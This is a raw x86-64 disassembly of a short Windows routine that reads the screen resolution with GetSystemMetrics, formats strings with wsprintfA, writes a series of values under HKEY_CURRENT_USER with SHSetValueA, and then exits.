lea r8, [0x0040b64c]
mov r9, 1
jmp 0x40b679
lea rax, [0x0040b65f]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x19
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.USER32.DLL_GetSystemMetrics]
add rsp, 0x20
mov dword [0x0040f620], eax
sub rsp, 0x20
mov rcx, 1
call qword [sym.imp.USER32.DLL_GetSystemMetrics]
add rsp, 0x20
mov dword [0x0040f624], eax
sub rsp, 0x20
mov rcx, 0x40f104
jmp 0x40b71d
lea rdx, [0x0040b6db]
mov r8d, dword [0x0040f620]
mov r9d, dword [0x0040f624]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub dword [0x0040f624], 0x35
sub rsp, 0x20
mov rcx, 0x40f410
jmp 0x40b753
lea rdx, [0x0040b750]
mov r8d, dword [0x0040f624]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x40f410
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40b79e
lea r8, [0x0040b797]
mov r9, 1
mov qword [rsp + 0x20], 0x40f410
mov dword [rsp + 0x28], eax
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40b7df
lea r8, [0x0040b7da]
mov r9, 1
jmp 0x40b7f1
lea rax, [0x0040b7ef]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40b82d
lea r8, [0x0040b827]
mov r9, 1
jmp 0x40b83f
lea rax, [0x0040b83d]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40b879
lea r8, [0x0040b875]
mov r9, 1
jmp 0x40b88c
lea rax, [0x0040b889]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 2
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x20
mov rcx, 0x40f514
jmp 0x40b8bb
lea rdx, [0x0040b8b8]
mov r8d, dword [0x0040f620]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x40f514
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40b905
lea r8, [0x0040b8ff]
mov r9, 1
mov qword [rsp + 0x20], 0x40f514
mov dword [rsp + 0x28], eax
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
add dword [0x0040f624], 0x35
sub rsp, 0x20
mov rcx, 0x40f104
jmp 0x40b983
lea rdx, [0x0040b93e]
mov r8d, dword [0x0040f620]
mov r9d, dword [0x0040f624]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40b9bf
lea r8, [0x0040b9b9]
mov r9, 1
jmp 0x40b9d1
lea rax, [0x0040b9cf]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x20
mov rcx, 0x40f104
jmp 0x40ba35
lea rdx, [0x0040b9fd]
mov r8d, dword [0x0040f620]
mov r9d, dword [0x0040f624]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40ba72
lea r8, [0x0040ba6b]
mov r9, 1
jmp 0x40ba86
lea rax, [0x0040ba82]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bac1
lea r8, [0x0040babc]
mov r9, 1
jmp 0x40bad5
lea rax, [0x0040bad1]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bb0f
lea r8, [0x0040bb0b]
mov r9, 1
jmp 0x40bb21
lea rax, [0x0040bb1f]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bb5f
lea r8, [0x0040bb57]
mov r9, 1
jmp 0x40bb71
lea rax, [0x0040bb6f]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bbad
lea r8, [0x0040bba7]
mov r9, 1
jmp 0x40bbc1
lea rax, [0x0040bbbd]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x20
mov rcx, 0x40f104
jmp 0x40bc25
lea rdx, [0x0040bbed]
mov r8d, dword [0x0040f620]
mov r9d, dword [0x0040f624]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bc62
lea r8, [0x0040bc5b]
mov r9, 1
jmp 0x40bc76
lea rax, [0x0040bc72]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bcb1
lea r8, [0x0040bcac]
mov r9, 1
jmp 0x40bcc3
lea rax, [0x0040bcc1]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bcfd
lea r8, [0x0040bcf9]
mov r9, 1
jmp 0x40bd0f
lea rax, [0x0040bd0d]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bd4d
lea r8, [0x0040bd45]
mov r9, 1
jmp 0x40bd5f
lea rax, [0x0040bd5d]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bd9b
lea r8, [0x0040bd95]
mov r9, 1
jmp 0x40bdb0
lea rax, [0x0040bdab]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x20
mov rcx, 0x40f104
jmp 0x40be1f
lea rdx, [0x0040bddc]
mov r8d, dword [0x0040f620]
mov r9d, dword [0x0040f624]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40be5c
lea r8, [0x0040be55]
mov r9, 1
jmp 0x40be70
lea rax, [0x0040be6c]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40beab
lea r8, [0x0040bea6]
mov r9, 1
jmp 0x40bebf
lea rax, [0x0040bebb]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40befb
lea r8, [0x0040bef5]
mov r9, 1
jmp 0x40bf0d
lea rax, [0x0040bf0b]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bf47
lea r8, [0x0040bf43]
mov r9, 1
jmp 0x40bf5b
lea rax, [0x0040bf57]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40bf97
lea r8, [0x0040bf91]
mov r9, 1
jmp 0x40bfab
lea rax, [0x0040bfa7]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x20
mov rcx, 0x40f104
jmp 0x40c00f
lea rdx, [0x0040bfd7]
mov r8d, dword [0x0040f620]
mov r9d, dword [0x0040f624]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40c04c
lea r8, [0x0040c045]
mov r9, 1
jmp 0x40c060
lea rax, [0x0040c05c]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40c09b
lea r8, [0x0040c096]
mov r9, 1
jmp 0x40c0ad
lea rax, [0x0040c0ab]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40c0e7
lea r8, [0x0040c0e3]
mov r9, 1
jmp 0x40c0f9
lea rax, [0x0040c0f7]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40c135
lea r8, [0x0040c12f]
mov r9, 1
jmp 0x40c14a
lea rax, [0x0040c145]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x20
mov rcx, 0x40f104
jmp 0x40c1b6
lea rdx, [0x0040c176]
mov r8d, dword [0x0040f620]
mov r9d, dword [0x0040f624]
call qword [sym.imp.USER32.DLL_wsprintfA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
mov rdx, 0x40f104
jmp 0x40c1f3
lea r8, [0x0040c1ec]
mov r9, 1
jmp 0x40c212
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.KERNEL32.DLL_ExitProcess]